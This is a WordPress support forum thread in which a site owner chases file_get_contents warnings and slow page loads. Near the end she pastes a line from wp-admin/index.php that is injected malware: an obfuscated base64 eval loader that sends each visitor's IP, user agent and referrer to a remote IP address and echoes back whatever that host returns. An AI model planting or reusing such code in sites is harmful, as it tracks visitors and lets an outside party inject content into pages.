Support » Fixing WordPress » file_get_contents error – Urgent, please help!

  • Typically, on the day we need to go live I am suddenly getting an error in the dashboard and displaying at the bottom of every page! Also, the site is incredibly slow to load:
    storybox.co.nz/wordpress

    The error in the dashboard:
    Warning: file_get_contents(http://91.196.216.30/bt.php?ip=202.137.246.69&host=www.storybox.co.nz&uri=%2Fwordpress%2Fwp-admin%2Findex.php&ua=mozilla%2F5.0+%28macintosh%3B+intel+mac+os+x+10.6%3B+rv%3A7.0.1%29+gecko%2F20100101+firefox%2F7.0.1&ref=http%3A%2F%2Fwww.storybox.co.nz%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Danything_slider) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 503 Service Temporarily Unavailable in /home/www/storybox.co.nz/public/wordpress/wp-admin/index.php on line 58

    I have tried deleting all my child theme php files, but the problem persists. I am using a custom child theme of Hybrid 0.9

    I only have one plugin – AnythingSlider but am scared to deactivate it and lose all the data. Also, it was working fine until today.

    Hoping someone can help!

    Thanks,
    Caroline

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  • Try:
    – deactivating all plugins to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s).

    – switching to the Twenty Eleven theme to rule out any theme-specific problems.

    resetting the plugins folder by FTP or PhpMyAdmin. Sometimes, an apparently inactive plugin can still cause problems.

    Thread Starter CarolineElisa

    (@carolineelisa)

    Yay, it’s gone! Thanks for the tip on checking via FTP @esmi. There was a stray file in there causing the problem.

    Site still slow to load, but must be another issue.

    Thread Starter CarolineElisa

    (@carolineelisa)

    Oh no, the issue is back after updating Anything Slider! Please help, the site is now live: http://www.storybox.co.nz/

    I have no other plugins, and even with the TwentyEleven theme activated I still get the following error in my dashboard and at the bottom of every page. The site is also super slow to load.

    I have now re-installed version 0.6.4.2 of the plugin, but the error remains!:

    Warning: file_get_contents(http://91.196.216.30/bt.php?ip=203.211.89.238&host=www.storybox.co.nz&uri=%2F&ua=mozilla%2F5.0+%28macintosh%3B+intel+mac+os+x+10_6_8%29+applewebkit%2F535.1+%28khtml%2C+like+gecko%29+chrome%2F14.0.835.202+safari%2F535.1&ref=) [function.file-get-contents]: failed to open stream: Connection timed out in /home/www/storybox.co.nz/public/index.php on line 18

    Thread Starter CarolineElisa

    (@carolineelisa)

    Yikes, again think I fixed it…

    Thread Starter CarolineElisa

    (@carolineelisa)

    Ok, so the original error is back!

    Line 55 in my index.php file under /wp-admin is:

    <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>

    Same code repeated on line 58 and 59…

    Where has this come from? Should this even be there?!

    Hoping someone can help. Thanks!

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